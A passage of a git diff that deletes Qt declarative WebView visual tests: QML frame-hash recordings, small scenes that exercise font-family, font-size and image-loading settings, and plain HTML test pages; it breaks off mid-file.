"5146cfbeefc51268eca7717d84775750" - } -} diff --git a/tests/auto/declarative/visual/webview/settings/data/setFontFamily.0.png b/tests/auto/declarative/visual/webview/settings/data/setFontFamily.0.png deleted file mode 100644 index f3c621a..0000000 Binary files a/tests/auto/declarative/visual/webview/settings/data/setFontFamily.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/settings/data/setFontFamily.qml b/tests/auto/declarative/visual/webview/settings/data/setFontFamily.qml deleted file mode 100644 index cf74d42..0000000 --- a/tests/auto/declarative/visual/webview/settings/data/setFontFamily.qml +++ /dev/null @@ -1,351 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 32 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 48 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 64 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 80 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 96 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 112 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 128 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 144 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 160 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 176 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 192 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 208 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 224 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 240 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 256 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 272 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 288 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 304 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 320 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 336 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 352 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 368 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 384 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 400 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 416 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 432 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 448 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 464 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 480 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 496 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 512 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 528 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 544 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 560 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 576 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 592 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 608 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 624 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 640 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 656 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 672 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 688 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 704 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 720 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 736 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 752 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 768 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 784 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 800 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 816 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 832 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 848 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 864 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 880 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 896 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 912 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 928 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 944 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 960 - image: "setFontFamily.0.png" - } - Frame { - msec: 976 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 992 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1008 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1024 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1040 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1056 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1072 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1088 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1104 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1120 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1136 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1152 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1168 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1184 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1200 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1216 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1232 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1248 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1264 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1280 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1296 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1312 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1328 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1344 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1360 - hash: "7ef8bb83c146898bd75de8951a932b58" - } - Frame { - msec: 1376 - hash: "7ef8bb83c146898bd75de8951a932b58" - } -} diff --git a/tests/auto/declarative/visual/webview/settings/fontFamily.qml b/tests/auto/declarative/visual/webview/settings/fontFamily.qml deleted file mode 100644 index f547b0e..0000000 --- a/tests/auto/declarative/visual/webview/settings/fontFamily.qml +++ /dev/null @@ -1,17 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -WebView { - id: web - width: 200 - height: 200 - Column { - anchors.fill: parent - Text { text: "standard: " + web.settings.standardFontFamily } - Text { text: "fixed: " + web.settings.fixedFontFamily } - Text { text: "serif: " + web.settings.serifFontFamily } - Text { text: "sansserif: " + web.settings.sansSerifFontFamily } - Text { text: "cursive: " + web.settings.cursiveFontFamily } - Text { text: "fantasy: " + web.settings.fantasyFontFamily } - } -} diff --git a/tests/auto/declarative/visual/webview/settings/fontSize.qml b/tests/auto/declarative/visual/webview/settings/fontSize.qml deleted file mode 100644 index 7eaa96b..0000000 --- a/tests/auto/declarative/visual/webview/settings/fontSize.qml +++ /dev/null @@ -1,71 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -Grid { - columns: 3 - Rectangle { - Text { color: "green"; text: "Normal" } - border.color: "black" - width: 200 - height: 200 - WebView { - anchors.fill: parent - url: "test.html" - } - } - Rectangle { - Text { color: "green"; text: "Big" } - border.color: "black" - width: 200 - height: 200 - WebView { - anchors.fill: parent - url: "test.html" - settings.minimumFontSize: 20 - } - } - Rectangle { - Text { color: "green"; text: "Big (logical)" } - border.color: "black" - width: 200 - height: 200 - WebView { - anchors.fill: parent - url: "test.html" - settings.minimumLogicalFontSize: 20 - } - } - Rectangle { - Text { color: "green"; text: "Bigger" } - border.color: "black" - width: 200 - height: 200 - WebView { - anchors.fill: parent - url: "test.html" - settings.minimumFontSize: 30 - } - } - Rectangle { - Text { color: "green"; text: "Small (except fixed)" } - border.color: "black" - width: 200 - height: 200 - WebView { - anchors.fill: parent - url: "test.html" - settings.defaultFontSize: 8 - } - } - Rectangle { - Text { color: "green"; text: "Small fixed" } - border.color: "black" - width: 200 - height: 200 - WebView { - anchors.fill: parent - url: "test.html" - settings.defaultFixedFontSize: 8 - } - } -} diff --git a/tests/auto/declarative/visual/webview/settings/noAutoLoadImages.qml b/tests/auto/declarative/visual/webview/settings/noAutoLoadImages.qml deleted file mode 100644 index 67f1633..0000000 --- a/tests/auto/declarative/visual/webview/settings/noAutoLoadImages.qml +++ /dev/null @@ -1,21 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -Grid { - columns: 2 - Rectangle { - Text { id: label; x:10; y:170; color: "green"; text: "No image" } - border.color: "black" - width: 200 - height: 200 - WebView { - anchors.fill: parent - settings.autoLoadImages: false - url: "test-img.html" - MouseArea { - anchors.fill: parent - onClicked: { parent.settings.autoLoadImages=true; label.text=""; parent.reload.trigger() } - } - } - } -} diff --git a/tests/auto/declarative/visual/webview/settings/qtlogo.png b/tests/auto/declarative/visual/webview/settings/qtlogo.png deleted file mode 100644 index 399bd0b..0000000 Binary files a/tests/auto/declarative/visual/webview/settings/qtlogo.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/settings/setFontFamily.qml b/tests/auto/declarative/visual/webview/settings/setFontFamily.qml deleted file mode 100644 index 823469f..0000000 --- a/tests/auto/declarative/visual/webview/settings/setFontFamily.qml +++ /dev/null @@ -1,11 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -WebView { - url: "test.html" - width: 300 - height: 300 - settings.standardFontFamily: font.name - // WebKit doesn't seem to honour any other FontFamily settings - FontLoader { id: font; source: "tarzeau_ocr_a.ttf" } -} diff --git a/tests/auto/declarative/visual/webview/settings/tarzeau_ocr_a.ttf b/tests/auto/declarative/visual/webview/settings/tarzeau_ocr_a.ttf deleted file mode 100644 index cf93f96..0000000 Binary files a/tests/auto/declarative/visual/webview/settings/tarzeau_ocr_a.ttf and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/settings/test-img.html b/tests/auto/declarative/visual/webview/settings/test-img.html deleted file mode 100644 index cdd63ac..0000000 --- a/tests/auto/declarative/visual/webview/settings/test-img.html +++ /dev/null @@ -1,6 +0,0 @@ - - -

Boring Document

-

-This is a boring document. -With a picture: diff --git a/tests/auto/declarative/visual/webview/settings/test.html b/tests/auto/declarative/visual/webview/settings/test.html deleted file mode 100644 index 3265e20..0000000 --- a/tests/auto/declarative/visual/webview/settings/test.html +++ /dev/null @@ -1,9 +0,0 @@ - - -

Boring Document

-

-This is a boring document. -

-This is italic. -This is bold. -This is fixed. diff --git a/tests/auto/declarative/visual/webview/zooming/data/pageWidth.qml b/tests/auto/declarative/visual/webview/zooming/data/pageWidth.qml deleted file mode 100644 index 1a993e1..0000000 --- a/tests/auto/declarative/visual/webview/zooming/data/pageWidth.qml +++ /dev/null @@ -1,227 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 32 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 48 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 64 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 80 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 96 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 112 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 128 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 144 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 160 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 176 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 192 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 208 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 224 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 240 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 256 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 272 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 288 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 304 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 320 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 336 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 352 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 368 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 384 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 400 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 416 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 432 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 448 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 464 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 480 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 496 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 512 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 528 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 544 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 560 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 576 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 592 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 608 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 624 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 640 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 656 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 672 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 688 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 704 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 720 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 736 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 752 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 768 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 784 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 800 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 816 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 832 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 848 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 864 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } - Frame { - msec: 880 - hash: "9a2554b1b322ea71115fa91d0100d2ff" - } -} diff --git a/tests/auto/declarative/visual/webview/zooming/data/renderControl.0.png b/tests/auto/declarative/visual/webview/zooming/data/renderControl.0.png deleted file mode 100644 index 38df70e..0000000 Binary files a/tests/auto/declarative/visual/webview/zooming/data/renderControl.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/zooming/data/renderControl.qml b/tests/auto/declarative/visual/webview/zooming/data/renderControl.qml deleted file mode 100644 index d3c5890..0000000 --- a/tests/auto/declarative/visual/webview/zooming/data/renderControl.qml +++ /dev/null @@ -1,415 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "4f999826cd5ebe4f58bfd255e1c22be0" - } - Frame { - msec: 32 - hash: "3aa9bd1bd75219f82578689ac6d81c7e" - } - Frame { - msec: 48 - hash: "19d5f48f1c73d52483be96c887d3fd76" - } - Frame { - msec: 64 - hash: "9b85eef4e0746cc43aaefd442efdd824" - } - Frame { - msec: 80 - hash: "fca0034fb720e40198ede95a0ab0fadb" - } - Frame { - msec: 96 - hash: "9f63ddbd927a4b08242f3410a9ed7283" - } - Frame { - msec: 112 - hash: "4f5804c3c3ee195470a462293307cfd5" - } - Frame { - msec: 128 - hash: "d0434f08a8097b97b76c1194317a38ba" - } - Frame { - msec: 144 - hash: "921880d300e56f9605923a13fcd8b967" - } - Frame { - msec: 160 - hash: "f5dc87abf36332c68fd4450a6236dcb4" - } - Frame { - msec: 176 - hash: "c54f220cd5768afa1c12579007e17eff" - } - Frame { - msec: 192 - hash: "e1c70c3896d5a937296f205b09991b31" - } - Frame { - msec: 208 - hash: "d135f70f761add1358062a0386c62d18" - } - Frame { - msec: 224 - hash: "53cb2ed2b65e77cf0cd70530f32854ad" - } - Frame { - msec: 240 - hash: "2ff4feb61d958a800b38b282c3400293" - } - Frame { - msec: 256 - hash: "59f5585ec472efa29c5eba8b972ab3bd" - } - Frame { - msec: 272 - hash: "3aef5e1ff6da15e0e9f2e620dbabbab2" - } - Frame { - msec: 288 - hash: "2931299f667752efe9fca727534385e1" - } - Frame { - msec: 304 - hash: "2ed90e61c41b994ccea924191b66fc71" - } - Frame { - msec: 320 - hash: "1424c634067c896973c2c10793957933" - } - Frame { - msec: 336 - hash: "c4d30d511053a7caeefdae753236cf5b" - } - Frame { - msec: 352 - hash: "32300e07e34e8f316770c790a5ef9f6d" - } - Frame { - msec: 368 - hash: "95312dc2a4d88a48605fea170712354d" - } - Frame { - msec: 384 - hash: "3d146357d1532640cefb64fbae75bc0d" - } - Frame { - msec: 400 - hash: "5b78740511a456a3647d8392b2008f7f" - } - Frame { - msec: 416 - hash: "dddb065cefa27a862d108429c9984191" - } - Frame { - msec: 432 - hash: "0857067a0ee381e0f462ef8aceb0b696" - } - Frame { - msec: 448 - hash: "1f5e7e064cc62ff2e0585c98875351df" - } - Frame { - msec: 464 - hash: "c7f6bb852bdb2b99cbb5a8ca34f1585a" - } - Frame { - msec: 480 - hash: "f2284dea5812f167cae08c687fc1a3e9" - } - Frame { - msec: 496 - hash: "deec54bc32c46921e5032bce7daa1dad" - } - Frame { - msec: 512 - hash: "1271d3704de17bfe463c76fd73c3132b" - } - Frame { - msec: 528 - hash: "0568b0ecd47cd1c34b9de477e68e5751" - } - Frame { - msec: 544 - hash: "f070dd88e42697a9e43573f9f41b3540" - } - Frame { - msec: 560 - hash: "f5ced2827b06ea514f05866f1e4099f0" - } - Frame { - msec: 576 - hash: "59f5585ec472efa29c5eba8b972ab3bd" - } - Frame { - msec: 592 - hash: "2ff4feb61d958a800b38b282c3400293" - } - Frame { - msec: 608 - hash: "53cb2ed2b65e77cf0cd70530f32854ad" - } - Frame { - msec: 624 - hash: "d135f70f761add1358062a0386c62d18" - } - Frame { - msec: 640 - hash: "e1c70c3896d5a937296f205b09991b31" - } - Frame { - msec: 656 - hash: "c54f220cd5768afa1c12579007e17eff" - } - Frame { - msec: 672 - hash: "f5dc87abf36332c68fd4450a6236dcb4" - } - Frame { - msec: 688 - hash: "921880d300e56f9605923a13fcd8b967" - } - Frame { - msec: 704 - hash: "d0434f08a8097b97b76c1194317a38ba" - } - Frame { - msec: 720 - hash: "4f5804c3c3ee195470a462293307cfd5" - } - Frame { - msec: 736 - hash: "9f63ddbd927a4b08242f3410a9ed7283" - } - Frame { - msec: 752 - hash: "fca0034fb720e40198ede95a0ab0fadb" - } - Frame { - msec: 768 - hash: "9b85eef4e0746cc43aaefd442efdd824" - } - Frame { - msec: 784 - hash: "19d5f48f1c73d52483be96c887d3fd76" - } - Frame { - msec: 800 - hash: "3aa9bd1bd75219f82578689ac6d81c7e" - } - Frame { - msec: 816 - hash: "4f999826cd5ebe4f58bfd255e1c22be0" - } - Frame { - msec: 832 - hash: "3aa9bd1bd75219f82578689ac6d81c7e" - } - Frame { - msec: 848 - hash: "19d5f48f1c73d52483be96c887d3fd76" - } - Frame { - msec: 864 - hash: "9b85eef4e0746cc43aaefd442efdd824" - } - Frame { - msec: 880 - hash: "fca0034fb720e40198ede95a0ab0fadb" - } - Frame { - msec: 896 - hash: "9f63ddbd927a4b08242f3410a9ed7283" - } - Frame { - msec: 912 - hash: "4f5804c3c3ee195470a462293307cfd5" - } - Frame { - msec: 928 - hash: "d0434f08a8097b97b76c1194317a38ba" - } - Frame { - msec: 944 - hash: "921880d300e56f9605923a13fcd8b967" - } - Frame { - msec: 960 - image: "renderControl.0.png" - } - Frame { - msec: 976 - hash: "c54f220cd5768afa1c12579007e17eff" - } - Frame { - msec: 992 - hash: "e1c70c3896d5a937296f205b09991b31" - } - Frame { - msec: 1008 - hash: "d135f70f761add1358062a0386c62d18" - } - Frame { - msec: 1024 - hash: "53cb2ed2b65e77cf0cd70530f32854ad" - } - Frame { - msec: 1040 - hash: "2ff4feb61d958a800b38b282c3400293" - } - Frame { - msec: 1056 - hash: "59f5585ec472efa29c5eba8b972ab3bd" - } - Frame { - msec: 1072 - hash: "3aef5e1ff6da15e0e9f2e620dbabbab2" - } - Frame { - msec: 1088 - hash: "2931299f667752efe9fca727534385e1" - } - Frame { - msec: 1104 - hash: "2ed90e61c41b994ccea924191b66fc71" - } - Frame { - msec: 1120 - hash: "1424c634067c896973c2c10793957933" - } - Frame { - msec: 1136 - hash: "c4d30d511053a7caeefdae753236cf5b" - } - Frame { - msec: 1152 - hash: "32300e07e34e8f316770c790a5ef9f6d" - } - Frame { - msec: 1168 - hash: "95312dc2a4d88a48605fea170712354d" - } - Frame { - msec: 1184 - hash: "3d146357d1532640cefb64fbae75bc0d" - } - Frame { - msec: 1200 - hash: "5b78740511a456a3647d8392b2008f7f" - } - Frame { - msec: 1216 - hash: "dddb065cefa27a862d108429c9984191" - } - Frame { - msec: 1232 - hash: "0857067a0ee381e0f462ef8aceb0b696" - } - Frame { - msec: 1248 - hash: "1f5e7e064cc62ff2e0585c98875351df" - } - Frame { - msec: 1264 - hash: "c7f6bb852bdb2b99cbb5a8ca34f1585a" - } - Frame { - msec: 1280 - hash: "f2284dea5812f167cae08c687fc1a3e9" - } - Frame { - msec: 1296 - hash: "deec54bc32c46921e5032bce7daa1dad" - } - Frame { - msec: 1312 - hash: "1271d3704de17bfe463c76fd73c3132b" - } - Frame { - msec: 1328 - hash: "0568b0ecd47cd1c34b9de477e68e5751" - } - Frame { - msec: 1344 - hash: "f070dd88e42697a9e43573f9f41b3540" - } - Frame { - msec: 1360 - hash: "f5ced2827b06ea514f05866f1e4099f0" - } - Frame { - msec: 1376 - hash: "59f5585ec472efa29c5eba8b972ab3bd" - } - Frame { - msec: 1392 - hash: "2ff4feb61d958a800b38b282c3400293" - } - Frame { - msec: 1408 - hash: "53cb2ed2b65e77cf0cd70530f32854ad" - } - Frame { - msec: 1424 - hash: "d135f70f761add1358062a0386c62d18" - } - Frame { - msec: 1440 - hash: "e1c70c3896d5a937296f205b09991b31" - } - Frame { - msec: 1456 - hash: "c54f220cd5768afa1c12579007e17eff" - } - Frame { - msec: 1472 - hash: "f5dc87abf36332c68fd4450a6236dcb4" - } - Frame { - msec: 1488 - hash: "921880d300e56f9605923a13fcd8b967" - } - Frame { - msec: 1504 - hash: "d0434f08a8097b97b76c1194317a38ba" - } - Frame { - msec: 1520 - hash: "4f5804c3c3ee195470a462293307cfd5" - } - Frame { - msec: 1536 - hash: "9f63ddbd927a4b08242f3410a9ed7283" - } - Frame { - msec: 1552 - hash: "fca0034fb720e40198ede95a0ab0fadb" - } - Frame { - msec: 1568 - hash: "9b85eef4e0746cc43aaefd442efdd824" - } - Frame { - msec: 1584 - hash: "19d5f48f1c73d52483be96c887d3fd76" - } - Frame { - msec: 1600 - hash: "3aa9bd1bd75219f82578689ac6d81c7e" - } - Frame { - msec: 1616 - hash: "4f999826cd5ebe4f58bfd255e1c22be0" - } - Frame { - msec: 1632 - hash: "3aa9bd1bd75219f82578689ac6d81c7e" - } -} diff --git a/tests/auto/declarative/visual/webview/zooming/data/resolution.0.png b/tests/auto/declarative/visual/webview/zooming/data/resolution.0.png deleted file mode 100644 index 7e989c6..0000000 Binary files a/tests/auto/declarative/visual/webview/zooming/data/resolution.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/zooming/data/resolution.1.png b/tests/auto/declarative/visual/webview/zooming/data/resolution.1.png deleted file mode 100644 index 60ccc0b..0000000 Binary files a/tests/auto/declarative/visual/webview/zooming/data/resolution.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/zooming/data/resolution.2.png b/tests/auto/declarative/visual/webview/zooming/data/resolution.2.png deleted file mode 100644 index 6c22494..0000000 Binary files a/tests/auto/declarative/visual/webview/zooming/data/resolution.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/zooming/data/resolution.3.png b/tests/auto/declarative/visual/webview/zooming/data/resolution.3.png deleted file mode 100644 index 71dd56f..0000000 Binary files a/tests/auto/declarative/visual/webview/zooming/data/resolution.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/zooming/data/resolution.4.png b/tests/auto/declarative/visual/webview/zooming/data/resolution.4.png deleted file mode 100644 index ce03cb6..0000000 Binary files a/tests/auto/declarative/visual/webview/zooming/data/resolution.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/zooming/data/resolution.qml b/tests/auto/declarative/visual/webview/zooming/data/resolution.qml deleted file mode 100644 index 0a2b8db..0000000 --- a/tests/auto/declarative/visual/webview/zooming/data/resolution.qml +++ /dev/null @@ -1,1319 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "ac1d9c1cc13813b5e94c692a209a4e36" - } - Frame { - msec: 32 - hash: "1f189a436cf74ae83a03c3bb63c24ec2" - } - Frame { - msec: 48 - hash: "369f761053d5910e00672aa866f698ba" - } - Frame { - msec: 64 - hash: "30a191ae899121ae22d10acee6593415" - } - Frame { - msec: 80 - hash: "7af041898748bb5950643b057ca59eea" - } - Frame { - msec: 96 - hash: "e0a2ed91e78ff9a994deb9649a8afc16" - } - Frame { - msec: 112 - hash: "649ad1a3fb57fb088e4e5cfd749bf2e5" - } - Frame { - msec: 128 - hash: "9053a92e343ebb79bd2831f5ab94a1b5" - } - Frame { - msec: 144 - hash: "dc78b09e27bbc0a2cfec83436eef4446" - } - Frame { - msec: 160 - hash: "2aaa3749f93734dd203e1fea91a9f24a" - } - Frame { - msec: 176 - hash: "8df8dd33eada434231332b81e03430ce" - } - Frame { - msec: 192 - hash: "b5b1beb4dd4720eaa8b888fbef1ba875" - } - Frame { - msec: 208 - hash: "e531d33ef14b58ad843a6be6d7cb0961" - } - Frame { - msec: 224 - hash: "011c0bcca7717b08bc53738718203f7e" - } - Frame { - msec: 240 - hash: "412a630348aa44d56f36f04982035e36" - } - Frame { - msec: 256 - hash: "45528cdc62622b6d01e44466cd85bd38" - } - Frame { - msec: 272 - hash: "0901c99f959d6c10a0b6ea46a282d8fd" - } - Frame { - msec: 288 - hash: "3f200fca4815d555f22912d9fcdc20ee" - } - Frame { - msec: 304 - hash: "5e3c58e2f3a57f4ea48f4315d37ed813" - } - Frame { - msec: 320 - hash: "e8d98ec2d13ef4324feba11be95d0735" - } - Frame { - msec: 336 - hash: "4f3b79b341b63499a20f1e1e2cd979f9" - } - Frame { - msec: 352 - hash: "5ddbc3bc10292bec41531e83c0921c59" - } - Frame { - msec: 368 - hash: "9bc9801e83267689cd2750226f2b08ce" - } - Frame { - msec: 384 - hash: "f87195f2393914a0bbed9a454de01ff5" - } - Frame { - msec: 400 - hash: "4e0fd7f45e53a8d44c416eb9235ec877" - } - Frame { - msec: 416 - hash: "a579d6324fb4bf9ac5ceaba2aa708764" - } - Frame { - msec: 432 - hash: "b9f3f08168fb55ba01e56e670db565de" - } - Frame { - msec: 448 - hash: 